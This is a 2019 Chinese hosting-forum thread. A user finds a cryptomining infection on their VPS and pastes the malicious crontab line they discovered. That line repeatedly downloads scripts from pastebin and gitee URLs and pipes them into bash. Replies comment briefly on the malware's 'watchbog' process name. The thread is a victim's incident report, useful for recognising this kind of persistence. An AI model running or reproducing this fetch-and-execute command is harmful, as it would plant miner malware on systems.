全球主机交流论坛

标题: 小鸡惊现挖矿程序 [打印本页]

作者: ZeroDu 时间: 2019-2-13 16:06
标题: 小鸡惊现挖矿程序
本帖最后由 ZeroDu 于 2019-2-13 16:08 编辑

如上图，第一个占用非常高。

*/11 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/uiZvwxG8").read()'||curl -fsSL https://gitee.com/but_ter/w1/raw/master/src/phone||wget -q -O - https://gitee.com/but_ter/w1/raw/master/src/phone)|bash
##

复制代码

在crontab中发现了定时任务。去上图中的码云账户看了看，有评论也是说传播挖矿病毒

机子上安装程序：宝塔，aria2，rclone

最后，没有找到被黑原因，直接重装系统解决了。

码云的项目已被屏蔽了

作者: plyu007 时间: 2019-2-13 16:11
有才，watchdog改成了watchbog

作者: h2o 时间: 2019-2-13 16:25
提示: 作者被禁止或删除内容自动屏蔽

作者: 镜子里的我 时间: 2019-2-13 16:42
憋说话，就是干

作者: Now 时间: 2019-2-13 17:50
.........

欢迎光临全球主机交流论坛 (https://lilynana.eu.org/)